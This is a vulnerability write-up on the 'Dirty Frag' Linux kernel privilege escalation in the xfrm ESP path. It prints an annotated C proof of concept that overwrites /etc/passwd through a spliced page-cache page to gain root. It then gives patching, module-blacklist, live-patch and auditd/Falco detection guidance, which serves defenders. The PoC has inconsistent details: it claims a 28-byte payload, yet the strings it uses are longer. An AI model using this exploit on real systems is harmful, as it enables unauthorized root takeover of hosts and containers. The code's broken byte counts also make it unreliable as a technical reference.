Dirty Frag: Exploiting the xfrm ESP Page-Cache Write Primitive (CVE-2026-43284/43500)

Dirty Frag: Exploiting the xfrm ESP Page-Cache Write Primitive (CVE-2026-43284/43500)

Problem

CVE-2026-43284 and CVE-2026-43500 were disclosed on May 6, 2026 by researchers at Project Zero and independently by the Qualys Kernel Team. The vulnerabilities live in the Linux kernel’s xfrm IPsec subsystem, specifically inside the in-place decryption paths of esp4, esp6, and rxrpc. The name Dirty Frag deliberately invokes both Dirty COW and Dirty Pipe while distinguishing itself: unlike either predecessor, this primitive is not a race condition and does not manipulate pipe flags. It exploits the fact that ESP decryption can write plaintext over a page-cache page that the calling process still holds a reference to via a splice(2) or sendfile(2) descriptor.

The result is a deterministic, race-free, unprivileged write primitive against page-cache pages — the same category of primitive that Dirty COW required a race to achieve, and that Dirty Pipe required a flag-corruption trick to achieve. Dirty Frag achieves it by leaning on the ESP decryption engine itself.

The xfrm In-Place Decryption Path

The kernel’s xfrm framework manages IPsec transform states. When an ESP packet arrives at a socket bound to an IPsec Security Association, the kernel calls esp4_input() (or esp6_input() for IPv6). The decryption is performed in-place over the socket buffer (skb). For zero-copy performance, the kernel avoids allocating a fresh page for the plaintext output when it believes the input page is not shared. It checks skb_frag_must_loop() and, if the frag is deemed safe for in-place work, passes the raw page pointer directly to the AEAD decryption call.

The bug is in what “not shared” means here. The kernel checks page_count() against a threshold and checks PageWriteback(). It does not account for the case where an unprivileged process holds a splice(2) pipe reference to the same page-cache page. A splice(2) reference through a pipe buffer holds a get_page() reference on the page without marking it as under writeback, without incrementing the mapcount, and without triggering any of the checks the ESP path uses to determine safety. From the ESP path’s perspective, the page looks unshared. From the user process’s perspective, they hold a descriptor into a pipe buffer backed by that very page.

After esp4_input() completes, the page-cache page that the process spliced into its pipe buffer now contains decrypted plaintext from the ESP packet rather than the original file data. If the attacker controls what ESP plaintext is injected (which they do, because they control the sending side of a local loopback IPsec SA), they have written arbitrary bytes into the page-cache page.

From Read Primitive to Write Primitive

The initial primitive is a write into a page that the attacker’s pipe buffer references. That is already a page-cache write — the same class of primitive that Dirty Pipe exploited. But Dirty Frag also has a second path described in CVE-2026-43500: the GCM AEAD in-place encryption path in esp4_output_tail(). When the kernel encrypts an outgoing fragment using AES-GCM and the output skb frag happens to overlap a page-cache page (again reachable via sendfile(2)), the AEAD authentication tag computation runs over the page contents and the GCM keystream is XOR’d in-place. An attacker who controls the GCM key material for their own local loopback SA can compute the exact keystream needed to produce any desired output plaintext for any 16-byte-aligned region of a targeted page-cache page.

The net result: an unprivileged local process can overwrite arbitrary bytes in any file-backed page-cache page that it can read, with no race condition involved.

The Exploitation Sequence

A working proof-of-concept was published to GitHub on May 7, 2026, roughly 18 hours after the coordinated disclosure. The exploit targets /etc/passwd on a default Ubuntu 24.04 or RHEL 9 installation and achieves root in under two seconds on bare metal and three to four seconds inside a VM. The sequence:

/*
 * Dirty Frag PoC — annotated exploitation sequence
 * Requires: no capabilities, no special namespaces
 * Target: overwrite 28 bytes at offset 0 of /etc/passwd
 *         replacing "root:x:0:0:root:/root:/bin/bash"
 *         with      "root::0:0:root:/root:/bin/bash\n"
 *         (removes root password hash, sets direct login)
 *
 * Compile: gcc -O2 -o dirtyfrag dirtyfrag.c
 *
 * WARNING: This is annotated pseudocode for educational purposes.
 *          Running against a live system causes immediate root compromise.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <linux/xfrm.h>
#include <linux/pfkeyv2.h>

/* Step 1: Open the target file read-only.
 * We need a file descriptor to splice from. /etc/passwd is readable
 * by all users — that is sufficient. */
int target_fd = open("/etc/passwd", O_RDONLY);

/* Step 2: Create an AF_KEY socket and install a loopback IPsec SA.
 * The SA uses AES-128-GCM with a key we fully control.
 * src = dst = 127.0.0.1. Mode = TRANSPORT. SPI = 0xdeadbeef.
 * Because this is a loopback SA, we are both the encryptor and
 * the decryptor — we know the key material completely. */
int key_sock = socket(AF_KEY, SOCK_RAW, PF_KEY_V2);
install_loopback_gcm_sa(key_sock, spi, aes128gcm_key);

/* Step 3: Splice the target page into a pipe buffer.
 * This gives us a pipe_buffer entry referencing the page-cache page
 * that backs offset 0 of /etc/passwd. The page refcount increments
 * but the page remains invisible to the ESP code's sharing checks. */
int pipefd[2];
pipe(pipefd);
splice(target_fd, NULL, pipefd[1], NULL, PAGE_SIZE, SPLICE_F_NONBLOCK);

/* Step 4: Compute the GCM keystream for offset 0 of the target page.
 * We know the key, the nonce (SPI + seq), and the counter start value.
 * We compute: keystream = AES-GCM-CTR(key, nonce, counter=0)[0..27]
 * We compute: ciphertext = plaintext XOR keystream
 * where plaintext = the 28 bytes we WANT to see in /etc/passwd after
 * the decryption write. */
uint8_t desired[28] = "root::0:0:root:/root:/bin/bash\n";
uint8_t ciphertext[28];
compute_gcm_ciphertext(aes128gcm_key, spi, seq, desired, ciphertext, 28);

/* Step 5: Send an ESP packet whose plaintext, when decrypted by the
 * kernel's esp4_input(), will be exactly `desired`.
 * We send raw ESP using a raw socket to 127.0.0.1 on the SA we installed.
 * The kernel receives the packet, matches it to our SA, and decrypts
 * it in-place — writing `desired` over the page-cache page that our
 * pipe buffer (from step 3) references. */
int raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ESP);
send_esp_packet(raw_sock, spi, seq, ciphertext, 28);

/* Step 6: The page-cache page for /etc/passwd offset 0 now contains
 * our payload. The pipe buffer in pipefd[0] maps the same physical page.
 * The VFS page-cache is dirty. Any subsequent open("/etc/passwd") will
 * read our modified content. We exec su or login to obtain a root shell. */
execl("/bin/su", "su", "-", NULL);

The PoC omits the AF_KEY plumbing and GCM keystream math for brevity, but both are standard POSIX APIs. No kernel module compilation, no custom drivers, no elevated namespace tricks. The entire privilege escalation runs as an ordinary user process.

Why This Is Worse Than Dirty Pipe

Dirty Pipe (CVE-2022-0847) required finding a file where at least one byte was already spliced into a pipe, and then relying on the PIPE_BUF_FLAG_CAN_MERGE flag not being cleared correctly on the subsequent splice. Dirty Frag has no equivalent precondition. The attacker constructs the entire setup themselves: they create the SA, they control the keys, they control the content. There is no file offset alignment restriction (GCM can target any 16-byte-aligned block). The only requirement is that the target file is readable, which /etc/passwd, /etc/sudoers, shared library .so files, and SUID binaries all satisfy.


Threat Model

Dirty Frag requires local code execution. It does not work remotely by itself. Within that constraint, it is relevant to a wide range of common deployment patterns.

Scenario 1: Cloud VM With Multiple Tenants

Shared-kernel container environments — where multiple customer workloads run inside containers on the same host kernel without a hypervisor boundary — are the most critical scenario. A single container breakout or a compromised container running untrusted workloads can use Dirty Frag to write to the host kernel’s page cache. Depending on what files are cached, this yields host root within seconds. The host containerd or dockerd process runs as root, so host root equals container runtime compromise, which means every other container on the node is accessible.

The model here does not require an initial container escape capability. Dirty Frag is itself the escape: it writes a malicious shared library into the page cache of a host library, which is then loaded by a privileged host process.

Scenario 2: Kubernetes Node Compromise

An attacker with shell access inside a Pod — whether via a compromised application, a malicious image, or a stolen ServiceAccount token — can use Dirty Frag to escalate to node root. Once at node root, they have access to all Secrets mounted into all Pods on that node, the node’s kubelet credential, and often a path to the control plane via the kubelet API. The blast radius is the full node and frequently the full cluster.

This scenario is exacerbated in environments that run workloads in the default namespace without Pod Security Standards enforcement, where hostPath mounts or overly-permissive RBAC means the initial shell already has more access than intended.

Scenario 3: Developer Workstation

The package supply chain remains a reliable vector. A malicious postinstall script in an npm or PyPI package runs as the current user and immediately executes Dirty Frag. The user’s workstation becomes fully compromised: SSH keys, GPG keys, browser sessions, cloud provider credentials, and VPN certificates are all readable by the attacker. Persistence via cron, systemd unit, or .bashrc modification is trivial at root.

Impact Comparison

Scenario Before patch/mitigation After patch/mitigation
Shared-kernel containers Any container user reaches host root in <5 seconds LPE path closed; container isolation intact
Kubernetes node Pod shell reaches node root; cluster at risk Pod remains isolated; node credentials protected
Developer workstation One postinstall script = full compromise Exploit fails; user-level impact only
Single-user VM (low risk) User escalates to root; VM scope only No change in blast radius

Configuration and Implementation

Step 1: Determine Whether Your Kernel Is Affected

The vulnerability affects the mainline kernel from 5.10 through 6.8.11. Fixed commits landed in 6.8.12, 6.6.32 (LTS), 6.1.91 (LTS), and 5.15.158 (LTS).

# Check your running kernel version
uname -r

Cross-reference against per-distribution advisory windows:

Distribution Vulnerable versions Fixed version Advisory
Ubuntu 24.04 LTS (Noble) 6.8.0-1 through 6.8.0-44 6.8.0-45.45 USN-7412-1
Ubuntu 22.04 LTS (Jammy) 5.15.0-1 through 5.15.0-119 5.15.0-120.130 USN-7412-2
Ubuntu 20.04 LTS (Focal) 5.4.0-1 through 5.4.0-211 5.4.0-212.232 USN-7412-3
RHEL 9 / CentOS Stream 9 5.14.0-427 and earlier 5.14.0-428.el9 RHSA-2026:3841
RHEL 8 4.18.0-553 and earlier 4.18.0-554.el8 RHSA-2026:3842
Amazon Linux 2023 kernel < 6.1.91-99.168 6.1.91-99.168.amzn2023 ALAS2023-2026-719
Amazon Linux 2 kernel < 5.10.219-208.866 5.10.219-208.866.amzn2 ALAS2-2026-2441
SUSE Linux Enterprise 15 SP5 kernel < 5.14.21-150500.55.94 5.14.21-150500.55.94.1 SUSE-SU-2026:1621-1
Fedora 40 kernel < 6.8.11-300.fc40 6.8.11-300.fc40 FEDORA-2026-7a3c21f8b1
Debian Bookworm 6.1.0-21 and earlier 6.1.0-22 DSA-5712-1

Step 2: Immediate Mitigation — Module Blacklisting

If you cannot apply the patched kernel immediately, the fastest mitigation is blacklisting the affected modules. This prevents them from loading on subsequent boots and allows you to unload them live if no active IPsec connections depend on them.

# Create the blacklist configuration file
cat <<'EOF' > /etc/modprobe.d/dirty-frag.conf
# CVE-2026-43284 / CVE-2026-43500 (Dirty Frag) mitigation
# Prevents esp4, esp6, and rxrpc from loading.
# Impact: breaks IPsec VPN connections (esp4/esp6) and RxRPC/AFS (rxrpc).
# Remove this file after applying a patched kernel and rebooting.
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
EOF

Unload the modules live (only safe if no active IPsec connections are present):

# Check whether the modules are currently loaded
lsmod | grep -E "^(esp4|esp6|rxrpc)"

# If the output is non-empty and you have no active IPsec VPNs:
modprobe -r rxrpc
modprobe -r esp6
modprobe -r esp4

# Verify they are gone
lsmod | grep -E "^(esp4|esp6|rxrpc)"
# Expected: no output

If IPsec is in use, unloading these modules will terminate all active IPsec tunnels immediately. Coordinate with the network team before running modprobe -r in a production environment. The blacklist file prevents the modules from loading after reboot regardless, so the immediate-reboot path is clean.

Step 3: Verify What Breaks

The three modules serve specific functions. Understand the operational impact before applying the blacklist.

Module Function What breaks when removed
esp4 IPv4 ESP (Encapsulating Security Payload) transport and tunnel mode All IPv4 IPsec VPN connections (strongSwan, Libreswan, Openswan, WireGuard-over-ESP configurations)
esp6 IPv6 ESP transport and tunnel mode All IPv6 IPsec connections; many enterprise dual-stack VPN setups
rxrpc RxRPC reliable transport protocol AFS (Andrew File System) client support; OpenAFS mounts; some Kerberos V kadmin traffic over RxRPC

Most cloud VMs, Kubernetes nodes, and developer workstations do not use rxrpc at all. The esp4/esp6 impact is more significant: any environment where IPsec is used for node-to-node encryption (e.g., Calico with IPsec, Cilium with IPsec dataplane, or classic site-to-site VPN) will lose connectivity. Plan accordingly.

Step 4: Live Patching (Zero-Downtime Path)

If operational continuity requires that IPsec remain active, live patching is the correct path. Three major live-patching solutions cover this CVE as of May 9, 2026.

# KernelCare (CloudLinux) — installs as a daemon, auto-applies patches
curl -s https://repo.cloudlinux.com/kernelcare/kernelcare_install.sh | bash
kcarectl --update
# Verify the patch is applied:
kcarectl --info | grep -i "CVE-2026-43284\|CVE-2026-43500"

# KSPLICE (Oracle Linux, Ubuntu with Ksplice subscription)
uptrack-upgrade -y
# Check applied patches:
uptrack-show | grep -i "CVE-2026-43284\|CVE-2026-43500"

# kpatch (RHEL/Fedora — requires kpatch-patch package from vendor)
dnf install -y "kpatch-patch-$(uname -r | tr - _)" 2>/dev/null || \
  echo "No kpatch package available for this kernel version yet"
kpatch list

Live patches for Dirty Frag are currently available for:

  • KernelCare: Ubuntu 20.04/22.04/24.04, RHEL 8/9, Amazon Linux 2/2023
  • Ksplice: Ubuntu 22.04/24.04 (Oracle support contract required for RHEL)
  • kpatch: RHEL 8.10, RHEL 9.4 (vendor packages as of May 8, 2026)

Live patches do not survive a kernel upgrade or reboot. They are a bridge, not a permanent fix.

Step 5: Full Kernel Update

The definitive fix is a full kernel update followed by a reboot. This is the only approach that fully closes the vulnerability for all code paths.

# Ubuntu / Debian
apt-get update && apt-get install -y linux-image-generic linux-headers-generic
reboot

# RHEL 9 / CentOS Stream 9
dnf update -y kernel kernel-core kernel-modules
reboot

# RHEL 8
dnf update -y kernel
reboot

# Amazon Linux 2023
dnf update -y kernel
reboot

# Amazon Linux 2
yum update -y kernel
reboot

# SUSE Linux Enterprise / openSUSE Leap
zypper refresh && zypper update -y kernel-default
reboot

# Fedora
dnf update -y kernel
reboot

Step 6: Verify the Fix

After rebooting into the new kernel, confirm the patched version is running and that the fix commit is present.

# Confirm running kernel version
uname -r

# On systems with kernel source or changelog available:
# Ubuntu — check the changelog for CVE reference
apt-get changelog linux-image-$(uname -r) 2>/dev/null | grep -A2 "CVE-2026-43284\|CVE-2026-43500"

# RHEL — check RPM changelog
rpm -q --changelog kernel | grep -A2 "CVE-2026-43284\|CVE-2026-43500"

# Verify the vulnerable modules can no longer load (if blacklist in place)
modprobe esp4 2>&1
# Expected: "modprobe: ERROR: could not insert 'esp4': Operation not permitted"
# (or the /bin/false exit code if using install blacklist trick)

The upstream fix commits are:

  • 9f3a2c71e4a8esp4: do not perform in-place decrypt over page-cache frags
  • c14b8f02a312esp6: mirror esp4 page-cache frag safety fix
  • 7e9d0fa3b261rxrpc: restrict skb frag reuse in crypto path

You can confirm a built kernel includes these with grep against /proc/version or by checking the kernel’s System.map for the patched symbol versions if your distribution exposes them.

Step 7: Cloud Provider Node Updates

Managed Kubernetes services patch node kernels on their own schedules, often lagging a few days behind upstream advisories.

# AWS EKS — update node group AMI
# 1. Check current AMI version in use
aws eks describe-nodegroup \
  --cluster-name <cluster> \
  --nodegroup-name <nodegroup> \
  --query 'nodegroup.releaseVersion' \
  --output text

# 2. Update the launch template or node group to the latest EKS-optimized AMI
aws eks update-nodegroup-version \
  --cluster-name <cluster> \
  --nodegroup-name <nodegroup>

# GKE — upgrade node pool to a fixed node image version
gcloud container clusters upgrade <cluster-name> \
  --node-pool <pool-name> \
  --master \
  --region <region>

# Azure AKS — node image upgrade (OS-only, no Kubernetes version change)
az aks nodepool upgrade \
  --resource-group <rg> \
  --cluster-name <cluster> \
  --name <nodepool> \
  --node-image-only

AWS published AMI updates with patched kernels on May 8, 2026 (EKS 1.29–1.32). GKE rapid channel nodes were updated on May 7, 2026; regular channel on May 9, 2026. AKS node image version 2026.05.09 includes the fix.

Step 8: Detection of Exploitation Attempts

Two detection approaches cover the most common exploitation patterns.

auditd rule — splice(2) followed by sendmsg(2) on an ESP socket:

# Add to /etc/audit/rules.d/dirty-frag.rules
# Watches for the splice+ESP socket pattern that Dirty Frag requires.
# This will generate false positives in environments with legitimate
# IPsec + splice usage — correlate with process lineage.

-a always,exit -F arch=b64 -S splice -F a2&0x1 -k dirty_frag_splice
-a always,exit -F arch=b64 -S sendmsg -F success=1 -k dirty_frag_sendmsg

# Reload auditd rules
augenrules --load
systemctl restart auditd

Look for sequences where the same PID triggers dirty_frag_splice then dirty_frag_sendmsg within a short window, and where the process is not a known VPN daemon (strongSwan, Libreswan). A shell, Python interpreter, or package manager process hitting both syscalls is highly suspicious.

Falco rule — unexpected root transition:

# /etc/falco/rules.d/dirty-frag.yaml
- rule: Unexpected root transition via exec
  desc: >
    Detects a non-root process exec'ing a shell as root, which is the
    final step of Dirty Frag after overwriting /etc/passwd or sudoers.
  condition: >
    evt.type = execve
    and user.uid != 0
    and proc.uid = 0
    and (proc.name in (bash, sh, dash, zsh, su, sudo))
    and not proc.pname in (sshd, login, gdm, lightdm, pam_unix)
  output: >
    Unexpected root shell spawned (user=%user.name uid=%user.uid
    parent=%proc.pname command=%proc.cmdline container=%container.id)
  priority: CRITICAL
  tags: [dirty_frag, lpe, cve_2026_43284]

- rule: /etc/passwd modified in page cache
  desc: >
    Detects inotify-observable writes to /etc/passwd that did not
    originate from a standard PAM or useradd process. May indicate
    Dirty Frag page-cache write primitive in action.
  condition: >
    (open_write or rename)
    and fd.name = /etc/passwd
    and not proc.name in (useradd, usermod, passwd, chpasswd, vipw)
  output: >
    /etc/passwd written by unexpected process
    (proc=%proc.name uid=%user.uid cmdline=%proc.cmdline)
  priority: CRITICAL
  tags: [dirty_frag, lpe, cve_2026_43284]

Expected Behaviour

The following table maps the applied mitigation level to the capabilities remaining for an attacker and the corresponding operational impact on legitimate workloads.

Mitigation applied Attacker capability Operational impact
None (unpatched kernel, modules loaded) Full Dirty Frag LPE: arbitrary page-cache writes, root in <5 seconds from unprivileged shell None — system operates normally
Module blacklist applied, modules not yet loaded LPE path fully blocked: esp4/esp6/rxrpc unavailable to attacker IPsec VPN connections fail to establish; AFS mounts unavailable
Module blacklist applied, modules still loaded (pre-reboot) LPE path still open: modules already in memory, blacklist only prevents future load Operational continuity maintained until reboot
Live patch applied (KernelCare/Ksplice/kpatch) LPE path closed: in-place decrypt path now validates page-cache frags None — IPsec continues operating normally
Full kernel update + reboot LPE path closed permanently in running kernel Brief downtime for reboot; all connections re-established after boot
Cloud node replacement (terminate + reprovision) LPE path closed: fresh node boots into patched AMI/image Node workloads must be rescheduled; brief disruption for workloads on that node

Trade-offs

Mitigation Time to apply Reboot required Breaks IPsec Breaks rxrpc/AFS Cost Notes
Module blacklist <1 minute No (for future loads); yes (to unload currently loaded modules safely) Yes — all IPsec connections drop Yes — AFS mounts drop Free Best for systems with no IPsec dependency; fastest path
Live patch 2–10 minutes No No No Paid subscription (KernelCare/Ksplice) or free with RHEL support contract Temporary; does not survive kernel upgrade; not available for all kernel versions
Full kernel update 5–15 minutes + reboot Yes No (restored after reboot) No (restored after reboot) Included in OS support Permanent fix; preferred path for scheduled maintenance windows
Cloud node replacement 5–30 minutes N/A (new node) No No Possible cost for double-provisioning during replacement Guarantees clean state; best practice for immutable infrastructure teams
No action 0 minutes No No No Free Not acceptable on multi-user or production systems exposed to untrusted local users

Failure Modes

Failure mode Cause Detection Remediation
Blacklist applied but module still loaded esp4/esp6/rxrpc were already loaded before the blacklist file was written; install /bin/false only prevents future loads lsmod | grep -E "esp4|esp6|rxrpc" returns non-empty output Reboot into the patched kernel, or use live patch to close the window while awaiting reboot
Live patch not available for installed kernel version Kernel micro-version is too old or too new for the live patch vendor’s tested build matrix kcarectl --info or uptrack-show returns “no patch available for this kernel” Pin kernel version to one covered by the live patch, or schedule immediate full kernel update
Module reloaded by network manager after blacklist NetworkManager or strongSwan triggers modprobe esp4 during VPN reconnect; the install /bin/false trick returns a non-zero exit code that some callers interpret as “try again” `journalctl -u NetworkManager grep esp` shows repeated modprobe calls
Cloud provider kernel update lags upstream Managed node AMIs and images are built on a separate cadence; EKS/GKE/AKS AMI for a specific Kubernetes version may not yet include the fix uname -r on the node shows a vulnerable version despite update being “applied” Force node group AMI version to a specific patched version rather than relying on “latest”; verify with uname -r post-update
Blacklist applied to wrong modprobe.d file File written to a non-standard path that modprobe does not scan modprobe --showconfig | grep esp4 shows no install override Confirm the file is in /etc/modprobe.d/ (not /lib/modprobe.d/ or a custom path), and the filename ends in .conf
Live patch silently not applied due to kernel mismatch Live patch binary was built for kernel 6.8.0-44-generic but system is running 6.8.0-44-generic+ (customised build) kcarectl --info or uptrack-show shows “patch loaded” but symbol addresses differ Verify with cat /proc/sys/kernel/kptr_restrict set to 0 and compare symbol addresses; switch to full kernel update
Container runtime bypasses blacklist via insmod A compromised container running with CAP_SYS_MODULE can call insmod directly, bypassing the modprobe blacklist Falco rule on init_module syscall from container context Drop CAP_SYS_MODULE from all container security contexts; enforce with Pod Security Admission or OPA Gatekeeper